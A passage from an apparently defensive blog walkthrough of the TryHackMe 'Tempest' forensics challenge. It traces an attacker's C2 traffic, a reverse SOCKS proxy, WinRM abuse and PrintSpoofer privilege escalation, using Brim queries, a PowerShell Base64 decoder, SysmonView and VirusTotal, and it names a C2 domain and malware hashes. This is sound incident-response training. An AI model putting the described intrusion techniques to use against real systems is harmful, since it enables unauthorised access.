HTTP requests related to the malicious C2 traffic: &lt;code&gt;_path==&amp;quot;http&amp;quot; &amp;quot;&amp;lt;replace domain&amp;gt;&amp;quot; id.resp_p==&amp;lt;replace port&amp;gt; | cut ts, host, id.resp_p, uri | sort ts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;question-1-the-attacker-was-able-to-discover-a-sensitive-file-inside-the-machine-of-the-user-what-is-the-password-discovered-on-the-aforementioned-file&#34;&gt;Question 1: The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?&#xA;&lt;/h4&gt;&lt;p&gt;Remember in the last task how we discovered that the attacker uses the C2 binary to send the results of commands executed on the victim’s system? Now we’ll take a closer look at those commands and their outputs, decode them, and build a complete picture of what was run.&lt;/p&gt;&#xA;&lt;p&gt;We’ll use the handy command provided in the investigation guide and plugin the relevant information we’ve already gathered during our case:&lt;/p&gt;&#xA;&lt;p&gt;_path==&amp;ldquo;http&amp;rdquo; &amp;ldquo;resolvecyber.xyz&amp;rdquo; id.resp_p==80| cut ts, host, id.resp_p, uri | sort ts&lt;/p&gt;&#xA;&lt;p&gt;Once the results load, we’ll see the encoded commands we’re going to work with. Press the &lt;em&gt;Export&lt;/em&gt; button in &lt;strong&gt;Brim&lt;/strong&gt; and save the results as a &lt;code&gt;.csv&lt;/code&gt; file—mine is called &lt;code&gt;results.csv&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;77a3c3dd32f1e1291374f09b13746388_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;321&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/77a3c3dd32f1e1291374f09b13746388_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Filtering the C2 results for export&lt;/p&gt;&#xA;&lt;p&gt;Next, we need a quick way to decode the Base64 strings following the &lt;code&gt;q&lt;/code&gt; parameter. While we could copy and paste each one into &lt;strong&gt;CyberChef&lt;/strong&gt;, let’s automate this with a &lt;em&gt;PowerShell&lt;/em&gt; script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Full disclosure:&lt;/strong&gt; GenAI was a big help here since regex still feels like black magic to me. But I say keep with the times and leverage the modern tools at our disposal as long as we verify the output is accurate.&lt;/p&gt;&#xA;&lt;p&gt;Get-Content .\results.csv | ForEach-Object {&#xA;if ($_ -match &amp;lsquo;q=([^,]+)&amp;rsquo;) {&#xA;$encoded = $matches[1]&#xA;$decoded = [System.Text.Encoding]::UTF8.GetString(&#xA;[System.Convert]::FromBase64String($encoded)&#xA;)&#xA;$decoded&#xA;}&#xA;}&lt;/p&gt;&#xA;&lt;p&gt;Here’s what the script does:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reads the &lt;code&gt;results.csv&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;Matches &lt;code&gt;q=&lt;/code&gt; followed by the encoded string (&lt;strong&gt;Task 6, Question 3&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Extracts the Base64 string and decodes it into readable text&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Open &lt;strong&gt;Notepad&lt;/strong&gt; and save this as a &lt;code&gt;.ps1&lt;/code&gt; script (I called mine &lt;code&gt;decode.ps1&lt;/code&gt;) and run it. The output gives us incredible insight into the attacker’s actions—and right at the top, you’ll find the password we’re looking for in the &lt;code&gt;$pass&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;48d01de69277ea82909c6dbd8e5b8e66_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;406px&#34; data-flex-grow=&#34;169&#34; height=&#34;472&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/48d01de69277ea82909c6dbd8e5b8e66_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Running the decode.ps1 script&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7219b096a2a9b9c642b353f2b7d46622_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/7219b096a2a9b9c642b353f2b7d46622_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-the-attacker-then-enumerated-the-list-of-listening-ports-inside-the-machine-what-is-the-listening-port-that-could-provide-a-remote-shell-inside-themachine&#34;&gt;Question 2: The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?&#xA;&lt;/h4&gt;&lt;p&gt;Let’s keep reviewing the output of the script to learn more about the attacker’s reconnaissance activity. We can see that they used &lt;code&gt;netstat&lt;/code&gt; to enumerate the listening ports.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d5c48ec690ad356a18fc353f33eee69d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;278px&#34; data-flex-grow=&#34;115&#34; height=&#34;690&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/d5c48ec690ad356a18fc353f33eee69d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Identifying a listening remote access port&lt;/p&gt;&#xA;&lt;p&gt;When we review the open ports listed, a quick lookup on the &lt;a class=&#34;link&#34; href=&#34;https://www.speedguide.net/ports.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Speedguide.net Ports Database&lt;/strong&gt;&lt;/a&gt; helps us identify their purpose. One port stands out because it’s associated with &lt;strong&gt;Windows Remote Management (WinRM)&lt;/strong&gt;. This service can allow remote shell via PowerShell remoting when it’s enabled and authenticated, which makes it a juicy target for attackers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;576e5002c627349708d3fee8ff4c62b2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/576e5002c627349708d3fee8ff4c62b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-4&#34;&gt;Question 3 &amp;amp; 4:&#xA;&lt;/h4&gt;&lt;h4 id=&#34;the-attacker-then-established-a-reverse-socks-proxy-to-access-the-internal-services-hosted-inside-the-machine-what-is-the-command-executed-by-the-attacker-to-establish-the-connection&#34;&gt;The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sha256-hash-of-the-binary-used-by-the-attacker-to-establish-the-reverse-socks-proxy-connection&#34;&gt;What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?&#xA;&lt;/h4&gt;&lt;p&gt;Arriving at the bottom of the script during our review, we notice something interesting: the attacker downloads another binary named &lt;code&gt;ch.exe&lt;/code&gt; using PowerShell &lt;code&gt;Invoke-WebRequest&lt;/code&gt; (&lt;code&gt;iwr&lt;/code&gt;) from the URL we identified earlier when analyzing the malicious document traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;56d3953f363d8f4f88b09490fa53758b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/56d3953f363d8f4f88b09490fa53758b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Identifying another suspicious binary&lt;/p&gt;&#xA;&lt;p&gt;Switching back to &lt;em&gt;SysmonView&lt;/em&gt;, we can pivot to the &lt;strong&gt;Process view&lt;/strong&gt; tab and select &lt;code&gt;ch.exe&lt;/code&gt;. From there, we’ll look for the related &lt;em&gt;process creation event&lt;/em&gt;. This event will reveal two critical pieces of evidence to answer &lt;strong&gt;Question 3 &amp;amp; 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The full command line used to establish the reverse SOCKS proxy connection&lt;/li&gt;&#xA;&lt;li&gt;The SHA256 hash of the binary itself&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;75422995fb059807da16678a9ea9120e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;439px&#34; data-flex-grow=&#34;183&#34; height=&#34;437&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/75422995fb059807da16678a9ea9120e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Using the process view to identify the proxy connection stand up&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c9f092802d9ec8fe3285b3e8ea35b700_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1032px&#34; data-flex-grow=&#34;430&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/c9f092802d9ec8fe3285b3e8ea35b700_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-what-is-the-name-of-the-tool-used-by-the-attacker-based-on-the-sha256-hash-provide-the-answer-in-lowercase&#34;&gt;Question 5: What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.&#xA;&lt;/h4&gt;&lt;p&gt;Now that we have the SHA256 hash of the tool used to establish the proxy, let’s pivot to some external threat intelligence to see if we can identify the specific utility. In this case, we’ll use the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; platform.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; and submit the hash of &lt;code&gt;ch.exe&lt;/code&gt; to check if it’s been seen before and gather additional intelligence. Right away, you’ll notice that the sample has been observed previously, with most anti-malware vendors detecting it as malicious. For the purposes of &lt;strong&gt;Question 5&lt;/strong&gt;, focus on the &lt;em&gt;family label&lt;/em&gt; provided by VirusTotal, it’s the key to identifying the tool.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7af3acee6de781e1f1e9967d1c456a5e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;831px&#34; data-flex-grow=&#34;346&#34; height=&#34;231&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/7af3acee6de781e1f1e9967d1c456a5e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This particular utility is designed for TCP/UDP tunneling over HTTP, a technique attackers often abuse to create covert channels and bypass network restrictions. This aligns perfectly with the behavior we observed earlier when the attacker stood up a reverse SOCKS proxy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;afc83761c688a2cf12f1a14719de843e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/afc83761c688a2cf12f1a14719de843e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-6-the-attacker-then-used-the-harvested-credentials-from-the-machine-based-on-the-succeeding-process-after-the-execution-of-the-socks-proxy-what-service-did-the-attacker-use-to-authenticate&#34;&gt;Question 6: The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?&#xA;&lt;/h4&gt;&lt;p&gt;Jumping back over to the &lt;em&gt;SysmonView&lt;/em&gt; &lt;em&gt;Hierarchy map&lt;/em&gt;, something stands out: remember in &lt;strong&gt;Question 2&lt;/strong&gt; we identified a port associated with a specific service that could be used for a remote shell? We’ll actually stumble across the process name &lt;code&gt;wsmprovhost.exe&lt;/code&gt; for that same service right in the graph, along with another suspicious file and a chain of process creations. Interesting!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;be6d47cffd94119c9217eb962ec79a46_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/be6d47cffd94119c9217eb962ec79a46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Using the hierarchy view to identify the authenticated service&lt;/p&gt;&#xA;&lt;p&gt;This indicates that the remote management service was abused by the adversary and may have been used for further actions like lateral movement. For now, this evidence is enough to conclude that this service was the one authenticated to by the attacker.&lt;/p&gt;&#xA;&lt;p&gt;Stick with this view since we’ll be focused on examining these binaries in the next task.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;94229db4f26ac0c4abbffe568c17b72e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/94229db4f26ac0c4abbffe568c17b72e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-8-privilege-escalationexploiting-privileges&#34;&gt;Task 8: Privilege Escalation — Exploiting Privileges&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigation-guide-4&#34;&gt;Investigation Guide:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;With this, we can focus on the following network and endpoint events:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Look for events executed after the successful execution of the reverse socks proxy tool.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Look for potential privilege escalation attempts, as the attacker has already established a persistent low-privilege access.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;question-1-after-discovering-the-privileges-of-the-current-user-the-attacker-then-downloaded-another-binary-to-be-used-for-privilege-escalation-what-is-the-name-and-the-sha256-hash-of-thebinary&#34;&gt;Question 1: After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we’ve confirmed the attacker authenticated using &lt;code&gt;wsmprovhost.exe&lt;/code&gt;, let’s turn our attention to the next child process creation event highlighted in the diagram.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d6215ea842adbcbb80aae6dd42a3823f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/d6215ea842adbcbb80aae6dd42a3823f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the privilege escalation binary&lt;/p&gt;&#xA;&lt;p&gt;Double-click the event to grab the SHA256 hash of the binary. This will give us the two pieces of evidence we need:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The executable name&lt;/li&gt;&#xA;&lt;li&gt;The SHA256 hash&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;902d4a35236d5af1ea6a6950c1bccf7d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;139&#34; height=&#34;575&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/902d4a35236d5af1ea6a6950c1bccf7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: ProcessCreate Event Details of the privilege escalation binary&lt;/p&gt;&#xA;&lt;p&gt;To submit the answer, combine the executable name and file hash. Identifying this binary and its hash not only answers the question but also provides us with another IOC for our list for hunting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;57c9dae1b8087cf7120e83241d934524_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/57c9dae1b8087cf7120e83241d934524_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-based-on-the-sha256-hash-of-the-binary-what-is-the-name-of-the-toolused&#34;&gt;Question 2: Based on the SHA256 hash of the binary, what is the name of the tool used?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we have the file hash in hand, we’ll once again turn to VirusTotal to enrich our findings and learn more about what this tool is. Submit the hash and review the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2d046dcafb5c78e76fbc8383c5867a42_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;537px&#34; data-flex-grow=&#34;224&#34; height=&#34;357&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/2d046dcafb5c78e76fbc8383c5867a42_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This time, the analysis provides more than just detection verdicts, but also includes helpful code insights and threat/family labels. These labels tell us what kind of tool this binary actually is, based on vendor and community analysis and can help add valuable context to the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;13f858a28b0d01c5e19932ec6e4d7035_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2000px&#34; data-flex-grow=&#34;833&#34; height=&#34;96&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/13f858a28b0d01c5e19932ec6e4d7035_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-the-tool-exploits-a-specific-privilege-owned-by-the-user-what-is-the-name-of-the-privilege&#34;&gt;Question 3: The tool exploits a specific privilege owned by the user. What is the name of the privilege?&#xA;&lt;/h4&gt;&lt;p&gt;After reviewing the VirusTotal results, we have a better idea of what this tool does and what the impact is — but we’re missing a critical detail: the specific user privilege that enables this exploit.&lt;/p&gt;&#xA;&lt;p&gt;Since we know the name of the tool, we can do a targeted Google search to see if other security researchers have documented its behavior. Take your pick!&lt;/p&gt;&#xA;&lt;p&gt;For my context, I stumbled across a fantastic blog post from &lt;strong&gt;itm4n&lt;/strong&gt;, the author of the tool, explaining how it works in great detail:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&#34;  title=&#34;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019&lt;/strong&gt;&#xA;_Over the last few years, tools such as RottenPotato, RottenPotatoNG or Juicy Potato have made the exploitation of…_itm4n.github.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the blog, we quickly learn that this exploit abuses powerful impersonation privileges. These privileges allow a process to run code or even create a new process in the context of another user. For example:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;These two privileges are very powerful indeed. They allow you to run code or even create a new process in the context of another user. To do so, you can call &lt;code&gt;CreateProcessWithToken()&lt;/code&gt; if you have &lt;code&gt;**&amp;lt;REDACTED&amp;gt;**&lt;/code&gt; or &lt;code&gt;CreateProcessAsUser()&lt;/code&gt; if you have &lt;code&gt;SeAssignPrimaryTokenPrivilege&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Understanding these privileges is important because they enable attackers to escalate from a standard user to SYSTEM-level access, which is obviously not great.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;456181bd916c7cfca2a0f2c39a938676_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/456181bd916c7cfca2a0f2c39a938676_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-then-the-attacker-executed-the-tool-with-another-binary-to-establish-a-c2-connection-what-is-the-name-of-thebinary&#34;&gt;Question 4: Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, it’s time to look at the next &lt;em&gt;process creation event&lt;/em&gt; for the second tool used to establish a new C2 channel. This event is highlighted in the diagram and gives us exactly what we need to answer &lt;strong&gt;Question 4&lt;/strong&gt; — the name of the binary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6bd2af26c2dc6fbb10aa849ccfb073b2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/6bd2af26c2dc6fbb10aa849ccfb073b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the second C2 binary&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ad85cc144af3406941c3e5751025afae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/ad85cc144af3406941c3e5751025afae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-the-binary-connects-to-a-different-port-from-the-first-c2-connection-what-is-the-portused&#34;&gt;Question 5: The binary connects to a different port from the first c2 connection. What is the port used?&#xA;&lt;/h4&gt;&lt;p&gt;You might have already guessed, but to determine the network connections used by the “final” binary to establish the second C2 connection, we’ll go back to the &lt;strong&gt;Process view&lt;/strong&gt; tab and search for the executable name. Once we do that, we can easily identify the related &lt;em&gt;network connection events&lt;/em&gt;, which will show us the domain, IP address, and the second port.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f9e2cb8ab08ef7d154b30fd1246af783_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;184px&#34; data-flex-grow=&#34;76&#34; height=&#34;1041&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/f9e2cb8ab08ef7d154b30fd1246af783_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Using the process view tab to identify network connections&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6cde0392c93539216777eac2b16cdee8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/6cde0392c93539216777eac2b16cdee8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-9-actions-on-objectivefully-owned-machine&#34;&gt;Task 9: Actions on Objective — Fully-owned Machine&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Investigation Guide:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Investigation Guide&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Now, we can rely on our cheatsheet to investigate events after a successful privilege escalation:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    